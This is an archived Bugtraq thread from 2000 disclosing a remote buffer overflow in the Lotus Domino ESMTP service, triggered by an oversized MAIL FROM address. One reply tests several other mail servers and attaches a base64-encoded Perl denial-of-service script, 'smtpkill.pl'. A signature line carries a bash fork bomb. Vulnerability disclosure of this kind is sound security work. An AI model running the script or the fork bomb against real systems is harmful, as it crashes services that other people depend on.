5113159 2000-05-20 01:02 /46 rader/ Postmaster
Mottagare: Bugtraq (import) <10919>
Ärende: Lotus ESMTP Service (Lotus Domino Release 5.0.1 (Intl))
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Hate: Where do you want to go to die?
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.21.0005182111120.8955-100000@dione.ids.pl>
Date: Thu, 18 May 2000 21:11:33 +0200
Reply-To: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Not much to say. While performing basic input validation checks in
Lotus Domino ESMTP service (see subject) running on the top of
Windows NT system (this applies probably to other platforms as well),
within approximately 30 seconds we found remote buffer overflow
leading to system crash (and, if exploited, to remote system
compromise). Sometimes I don't believe this is so simple! I could
imagine that voluntary wu-ftpd developers missed some buffer-length
checks while constructing process title - but when I look at such
hole in product developed by major company employing security
specialists, I ask my self is this intentional?:) Just kidding, but
with whole respect - I believe anyone looking at the source code
could simply SEE such buffer overflow - just like in Novell remote
http administration bug I reported three weeks ago. Hey, but stop,
I'm not going to give offence to these corporarions, sorry. Now,
facts:
220 *SNIP* Lotus Domino Release 5.0.1 (Intl) *SNIP*
HELO dood
250 *SNIP*
MAIL FROM: me@<four-kilobytes-of-junk>
(crash)
Btw. just to make it clear, I've got confirmation from Novell about
http administration remote buffer overflow. Also, they said upgraded
modules are available from their download area, and asked me to
notify BQ readers.
Above statements are my own oppinions and observations
_only_. Standard disclaimer applies.
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5113159) ------------------------------------------(Ombruten)
5123760 2000-05-23 19:08 /186 rader/ Postmaster
Mottagare: Bugtraq (import) <10949>
Ärende: Re: Lotus ESMTP Service (Lotus Domino Release 5.0.1 (Intl))
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-MIMETrack: Itemize by SMTP Server on CLAB/CLAB(Release 5.0.3 (Intl)|21 Marc
2000) at 05/23/2000 13:19:10
Serialize by Router on CLAB/CLAB(Release 5.0.3 (Intl)|21 Marc
2000) at 05/23/2000 13:19:25
Content-Type: multipart/mixed
boundary="----=_NextPart_000_00E9_01BFC4B8.FF247870"
Message-ID: <00ed01bfc4b0$9d64a450$2e483dc3@contentlab.net>
Date: Tue, 23 May 2000 13:15:42 +0100
Reply-To: SMILER <smiler@VXD.ORG>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: SMILER <smiler@VXD.ORG>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
------=_NextPart_000_00E9_01BFC4B8.FF247870
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_00EA_01BFC4B8.FF247870"
------=_NextPart_001_00EA_01BFC4B8.FF247870
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
charset="iso-8859-1"
Well I tryed this in :=20
* Lotus Domino ESMTP Services running Version 5.0.3 (Intl) and smtp
died =
also after mail from: someone@4k_junk=20
* Lotus Domino ESMTP version 5.0.2 (Intl) is also vulnerable to this.
* I also tryed this against Version 5.0.2c (Intl) without success in
DOS = so=20 I assume that 5.0.2c(Intl) is not vulnerable.=20
* Merak Server Version 2.10.270 is not also vulnerable.=20
* CMail Server version 2.4.6 is not vulnerable to mail from: =
someone@4k_junk=20 BUT is vulnerable to something_4k_junk ! In fact
this software even logs =
"mail from: someone@4k_junk" as a DOS attempt but crashes when you
just = send=20 something_4k_junk !=20
* Argosoft Mail Server version 1.2.1.0 doesn=B4t crash with "mail
from:=20 someon@4k:_junk" but after some messages it will log :
Error: Access=20 violation at address 00459CBB in module
'MAILSERVER.EXE'. Read of = address=20 FFFFFFFF but it will continue
to serve :) Maybe we could make something=20 funny with this overflow
(?) ;)))=20
* Many others where I haven=B4t tryed this...?
I am attaching a demonstration code (perl) for those who want to
check = any other=20 servers that might be vulnerable to this.=20
smiler@vxd.org=20
>On Thu, May 18, 2000 at 09:11:33PM +0200, Michal Zalewski wrote:=20
>> Not much to say. While performing basic input validation checks in =
Lotus=20
>> Domino ESMTP service (see subject) running on the top of Windows NT=20
system=20
>[snip.. ]=20
>=20
>I'm running r5.0.2b on a Sun E420R w/ patched up Solaris 7 and got a=20
>confirmed kill on one of our notes servers:=20
------=_NextPart_001_00EA_01BFC4B8.FF247870
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
charset="iso-8859-1"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Well I tryed this in : <BR><BR>* Lotus =
Domino ESMTP=20
Services running Version 5.0.3 (Intl) and smtp died <BR>also after mail =
from:=20
someone@4k_junk </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>* Lotus Domino ESMTP version 5.0.2 =
(Intl) is also=20
vulnerable to this.<BR><BR>* I also tryed this against Version 5.0.2c =
(Intl)=20
without success in DOS so <BR>I assume that 5.0.2c(Intl) is not =
vulnerable.=20
<BR><BR>* Merak Server Version 2.10.270 is not also vulnerable. =
<BR><BR>* CMail=20
Server version 2.4.6 is not vulnerable to mail from: someone@4k_junk =
<BR>BUT is=20
vulnerable to something_4k_junk ! In fact this software even logs =
<BR>"mail=20
from: someone@4k_junk" as a DOS attempt but crashes when you just send=20
<BR>something_4k_junk ! <BR><BR>* Argosoft Mail Server version 1.2.1.0 =
doesn=B4t=20
crash with "mail from: <BR>someon@4k:_junk" but after some messages it =
will log=20
: Error: Access <BR>violation at address 00459CBB in module =
'MAILSERVER.EXE'.=20
Read of address <BR>FFFFFFFF but it will continue to serve :) Maybe we =
could=20
make something <BR>funny with this overflow (?) ;))) <BR></DIV></FONT>
<DIV><FONT face=3DArial size=3D2>* Many others where I haven=B4t tryed=20
this...?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><BR>I am attaching a demonstration code =
(perl) for=20
those who want to check any other <BR>servers that might be vulnerable =
to this.=20
<BR><BR>smiler@vxd.org <BR><BR><BR><BR><BR>>On Thu, May 18, 2000 at=20
09:11:33PM +0200, Michal Zalewski wrote: <BR>>> Not much to say. =
While=20
performing basic input validation checks in Lotus <BR>>> Domino =
ESMTP=20
service (see subject) running on the top of Windows NT <BR>system=20
<BR>>[snip.. ] <BR>> <BR>>I'm running r5.0.2b on a Sun E420R w/ =
patched=20
up Solaris 7 and got a <BR>>confirmed kill on one of our notes =
servers:=20
</FONT></DIV></BODY></HTML>
------=_NextPart_001_00EA_01BFC4B8.FF247870--
------=_NextPart_000_00E9_01BFC4B8.FF247870
Content-Type: application/octet-stream;
name="smtpkill.pl"
Content-Disposition: attachment;
filename="smtpkill.pl"
Content-Transfer-Encoding: base64
IyEvdXNyL2Jpbi9wZXJsDQojIE5lZWQgbmV0Ojp0ZWxuZXQgdG8gcnVuDQojIEV4cGwwaXQgQnkg
c21pbGVyQHZ4ZC5vcmcNCiMgVGVzdGVkIHdpdGggc3VjZXNzIGFnYWluc3QgTG90dXMgTm90ZXMg
NS4wLjEsIDUuMC4yYiwgNS4wLjMNCiMgQ01haWwgU2VydmVyIHZlcnNpb24gMi40LjYsIEFyZ29z
b2Z0IE1haWwgU2VydmVyIHZlcnNpb24gMS4yLjEuMCANCiMgYW5kIHByb2JhYmx5IG1hbnkgb3Ro
ZXJzIHRoYXQgSSBoYWRutHQgY2hhbmNlIHRvIGV4cGxvcmUuDQojIEkgd3JvdGUgdGhpcyBhZnRl
ciBNaWNoYWwgWmFsZXdza2kgYnJvdWdodCB0aGlzIGlzc3VlIGluIEJ1Z1RyYXEuDQojIENoZWVy
cyAzNTEgYW5kIEZyYWN0YWxHIDopDQoNCnVzZSBOZXQ6OlRlbG5ldDsgICANCg0KDQpwcmludCAi
U210cEtJTEwgQnkgc21pbGVyXEB2eGQub3JnXG4iOw0KDQppZiAobm90ICRBUkdWWzFdKSB7DQpw
cmludCBxcX4NClVzYWdlIDogc210cGtpbGwucGwgIDx0eXBlPiA8aG9zdD4NCgk8dHlwZT4gVHlw
ZSBvZiBhdHRhY2sgOg0KCQl0eXBlIDEgPSBsb25nIG1haWwgZnJvbTogc29tZW9uZVxANGtfb2Zf
anVuaw0KCQl0eXBlIDIgPSBsb25nIHJjcHQgdG86IHNvbWVvbmVcQDRrX29mX2p1bmsNCgkJdHlw
ZSAzID0gbG9uZyBoZWxvIGxvbmdkb21haW5fd2l0aF80a19vZl9qdW5rDQoJCXR5cGUgNCA9IGxv
bmcgdW5kZWZpbmVkIGNvbW1hbmQgKDRrX29mX2p1bmspDQoJCXR5cGUgNSA9IGxvbmcgaGVscCA0
a19vZl9qdW5rDQoJCXR5cGUgNiA9IGxvbmcgbWFpbCBmcm9tOiBhbmQgbWFpbCB0bzoNCg0KCTxo
b3N0PiBIb3N0IHRoYXQgeW91IHdhbnQgdG8gRE9TLCBJcCBvciBEb21haW4gd2lsbCBiZSBvay4N
CkV4YW1wbGUgVXNhZ2UgOiBzbXRwa2lsbC5wbCA1IDEyNy4wLjAuMQ0KfjsgZXhpdDt9ICAgICAg
DQoNCiR0eXBlPSRBUkdWWzBdOw0KJHRhcmdldD0kQVJHVlsxXTsNCg0KcHJpbnQgIlRZUEUgQVRU
QUNLOiAkdHlwZVxuIjsNCnByaW50ICJUQVJHRVQgOiAkdGFyZ2V0XG4iOw0KDQoNCg0KZm9yICgk
aT00MDk2OyRpPDUwOTY7JGkrKykNCiB7DQogICAgICAgICRvYmo9TmV0OjpUZWxuZXQtPm5ldygg
SG9zdCA9PiAiJHRhcmdldCIsUG9ydCA9PiAyNSk7ICAgIA0KDQoJaWYgKCR0eXBlPX4gIjEiKSB7
IA0KCSRoZWxvPSJoZWxvIHB0cnVsZXoiOw0KCSRmcm9tPSJtYWlsIGZyb206IHYwdjBAIi4gJ3B0
cnVsZXonIHggJGk7DQoJJHJjcHQ9InJjcHQgdG86IHYwdjBcQHYwdjAucHQiOw0KCX0NCg0KCWlm
ICgkdHlwZT1+ICIyIikgeyANCgkkaGVsbz0iaGVsbyBwdHJ1bGV6IjsNCgkkZnJvbT0ibWFpbCBm
cm9tOiB2MHYwXEB2MHYwLnB0IjsNCgkkcmNwdD0icmNwdCB0bzogdjB2MEAiLiAncHRydWxleicg
eCAkaTsNCgl9DQoNCglpZiAoJHR5cGU9fiAiMyIpIHsNCgkkaGVsbz0iaGVsbyAiLiAncHRydWxl
eicgeCAkaTsNCgkkZnJvbT0ibWFpbCBmcm9tOiB2MHYwXEB2MHYwLnB0IjsNCgkkcmNwdD0icmNw
dCB0bzogdjB2MFxAdjB2MC5wdCI7DQoJfQ0KDQoJaWYgKCR0eXBlPX4gIjQiKSB7DQoJJGhlbG89
ImhhdmVzb21lZnVuIi4gJ3B0cnVsZXonIHggJGk7DQoJfQ0KDQoJaWYgKCR0eXBlPX4gIjUiKSB7
DQoJJGhlbG89ImhlbHAgIi4gJ3B0cnVsZXonIHggJGk7DQoJfQ0KDQoJaWYgKCR0eXBlPX4gIjYi
KSB7DQoJJGhlbG89ImhlbG8gcHRydWxleiI7DQoJJGZyb209Im1haWwgZnJvbTogIi4gJ3B0cnVs
ZXonIHggJGk7DQoJJHJjcHQ9InJjcHQgdG86ICIuICdwdHJ1bGV6JyB4ICRpOw0KCX0NCg0KICAg
ICAgICBwcmludCAiJGhlbG9cbiI7JG9iai0+cHJpbnQoIiRoZWxvIik7ICAgDQogICAgICAgIHBy
aW50ICIkZnJvbVxuIjskb2JqLT5wcmludCgiJGZyb20iKTsNCiAgICAgICAgcHJpbnQgIiRyY3B0
XG4iOyRvYmotPnByaW50KCIkcmNwdCIpOyAgICANCiAgICAgICAgJG9iai0+Y2xvc2U7DQogfQ0K
DQo=
------=_NextPart_000_00E9_01BFC4B8.FF247870--
(5123760) ------------------------------------------(Ombruten)